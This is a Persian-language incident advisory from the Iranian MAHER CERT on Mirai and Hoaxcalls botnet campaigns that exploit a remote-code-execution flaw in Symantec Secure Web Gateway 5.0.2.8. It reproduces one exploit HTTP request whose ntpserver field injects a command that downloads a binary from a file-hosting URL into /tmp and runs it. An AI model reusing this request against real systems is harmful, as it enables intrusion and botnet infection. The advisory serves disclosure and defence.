بسمه تعالی

مرکز ماهر

مرکز مدیریت امداد و هماهنگی
عملیات رخدادهای رایانه ای

دور زدن Symantec Secure Web Gateway توسط هکرها با بکارگیری بات‌نت‌های Mirai و Hoaxcall.

هکرها با استفاده از باتنت‌های Mirai و Hoaxcall، Symantec Secure Web Gateway را دور می‌زنند.

یک کمپین جدید Mirai و Hoaxcalls در حال حمله به دسته‌ای از آسیب‌پذیری‌های اجرای کد از راه دور در Symantec Secure Web Gateway است. Mirai یکی از بدافزارهای شناخته شده است که دستگاه‌های IoT مانند دوربین‌های IP و DVR ها را هدف قرار می‌دهد تا با سوءاستفاده از پورت‌های باز و اعتبارنامه‌های پیش‌فرض، آسیب‌پذیری‌های فاش نشده و فاش شده را مورد بهره‌برداری قرار دهد و آن‌ها را کنترل کند.

بدافزار مخرب Mirai از سابقه‌ی قدرتمندی در آلوده‌کردن دستگاه‌ها برخوردار است و در بیشتر حملات مخرب DDoS بر روی پلتفرم‌های مختلف مورد استفاده قرار گرفته است، اما در این کمپین با بهره‌گیری از حملات آزمایش و خطای اعتبارنامه‌ها و بهره‌برداری از آسیب‌پذیری Symantec Secure Web Gateway RCE استفاده می‌شود.

Hoaxcalls یک نوع بدافزار IoT از خانواده Tsunami و Gafgyt Botnetets است که برای اولین بار در آوریل ۲۰۲۰ کشف شد. این بدافزار توانایی پراکسی‌کردن ترافیک و راه‌اندازی تعداد زیادی از حملات DDoS را دارد. برای مقابله توصیه شده است که به‌روزرسانی‌ها را بارگیری کنید، از راه‌اندازی مجدد جلوگیری کنید و وصله‌های جدید را اعمال کنید.

آزمون Hoaxcalls:

نمونه‌هایی از همان باتنت شامل یک اکسپلویت است که درخواست End-Of- Life در Symantec Secure Web Gateway v5.0.2.8 را با استفاده از یک درخواست HTTP با فرمت زیر، هدف قرار می‌دهد.

```
POST /spywall/timeConfig.php HTTP/1.1

User-Agent: XTC

posttime=1585228657&saveForm=Save&timesync=1&
ntpserver=http://qweqwe.com;$(wget%20http://plexle.us/Th5xrRAm%20-O%20/tmp
/viktor%20&&%20chmod%20777%20/tmp/viktor%20&&%20/tmp/viktor);#&timezone=5
```

قالب درخواست HTTP

همانطور که در شکل مشاهده می‌شود، برخی نمونه‌ها به یک URL برای یک سرویس بارگذاری فایل عمومی (plexle[.]us) اختصاص داده می‌شوند، که در آن بار پس از بهره‌برداری، میزبانی می‌شود.

نشانی اینترنتی که برای به‌روزرسانی مورد اتصال قرار می‌گیرد، یک اسکریپت شل را ارائه می‌دهد که باینری‌ها را از URL های کنترل شده‌ی مهاجم، بارگیری و اجرا می‌کند.

طبق گفته‌ی تیم تحقیقاتیSymantec آن‌ها در حال حاضر، هیچ مدرکی دال بر وجود آسیب‌پذیری در نسخه‌های دیگر سیستم‌عامل ندارند.

آن‌ها همچنین متعهد شده‌اند که هیچ آسیب‌پذیری بهره‌برداری شده‌ای در Symantec Secure Web Gateway 5.0.2.8 وجود ندارد و برای بهره برداری موفقیت آمیز از Symantec Secure Web Gateway RCE احراز هویت لازم است.

منبع:

https://gbhackers.com/hackers-bypass-symantec-web-gateways/